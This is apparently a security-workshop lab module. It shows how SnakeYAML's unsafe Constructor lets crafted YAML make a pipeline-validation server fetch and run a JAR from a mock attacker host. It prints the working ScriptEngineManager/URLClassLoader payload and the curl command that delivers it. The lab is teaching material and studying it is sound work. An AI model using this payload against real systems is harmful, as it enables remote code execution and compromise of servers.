Module 2: See the Bug in Action
In Module 1 you saw normal pipeline YAML work fine. This module sends different
YAML to the same endpoint — YAML that abuses SnakeYAML’s Constructor class so the
server runs code it should never run.
Run all commands from the repository root (where compose.yaml lives).
|
What you are simulating
Module 1 described how a malicious
pull request could land pipeline YAML on a validator running near your build system.
Here you simulate that parse step: you post crafted YAML to
POST /api/pipelines/validate with curl, exactly as CI might forward a file from a PR.
The server on port 9999
When you ran make up, compose started two services (see compose.yaml):
-
app(port 8080) — the Pipeline Definition API you used in Module 1 -
mock-server(port 9999) — a tiny Python web server that hosts files from thescripts/folder
In the lab, mock-server plays the attacker’s download site. It serves
scripts/malicious.jar at http://localhost:9999/malicious.jar so you can open that
URL in your browser and confirm the file is there.
Inside the compose network the app does not use localhost:9999. Containers talk
to each other by service name, so the payload uses
http://mock-server:9999/malicious.jar — that is the same server, seen from inside
the app container.
malicious.jar was built during Environment Setup. It is
not part of your application. It is a small stand-in for code an attacker would host
on the internet. When the app loads and runs it, the JAR writes a proof file to
.workshop-data/pwned so you can see the attack succeeded without doing real damage.
What the malicious YAML does
Open scripts/examples/exploit-payload.yaml. It does not look like a pipeline file.
Instead it uses special YAML markers (!!) that tell SnakeYAML to create specific
Java classes:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://mock-server:9999/malicious.jar"]
]]
]
Step by step, inside the app container:
-
Your
curlposts this YAML to the Pipeline Definition API -
PipelineYamlParserpasses it to SnakeYAML’sConstructor— the risky pattern from Module 1 -
SnakeYAML instantiates a
ScriptEngineManagerwired to load classes from a URL -
The JVM fetches
malicious.jarfrommock-server:9999 -
Code inside that JAR runs and creates
.workshop-data/pwned
None of that should happen when someone submits a pipeline definition. The bug is that SnakeYAML honors those markers on input your app treated as data to parse.
Before you start
You should already have:
-
scripts/malicious.jarfrom setup (make setup) -
The stack still running from Module 1 (
make up)
If you stopped the stack, start it again:
make up
If scripts/malicious.jar is missing, run make build-malicious-jar once.
Remove any leftover proof file from a previous run:
rm -f .workshop-data/pwned
Send the malicious YAML
In another terminal:
curl -s -X POST http://localhost:8080/api/pipelines/validate \
-H 'Content-Type: text/plain' \
--data-binary @./scripts/examples/exploit-payload.yaml
An HTTP 500 response is normal. The API fails while parsing — but the dangerous work may already have happened during parsing. Success is not a 200 response; it is the proof file on disk.
Check the result
test -f .workshop-data/pwned && cat .workshop-data/pwned
If you see file contents, the demo worked: YAML from your request became running code on the server, which fetched a JAR from port 9999 and executed it.
In production, the next steps for an attacker — stealing secrets, changing pipelines, shipping a bad build — are out of scope here. The point of this module is to show that the front door opens: untrusted YAML became running code on the server.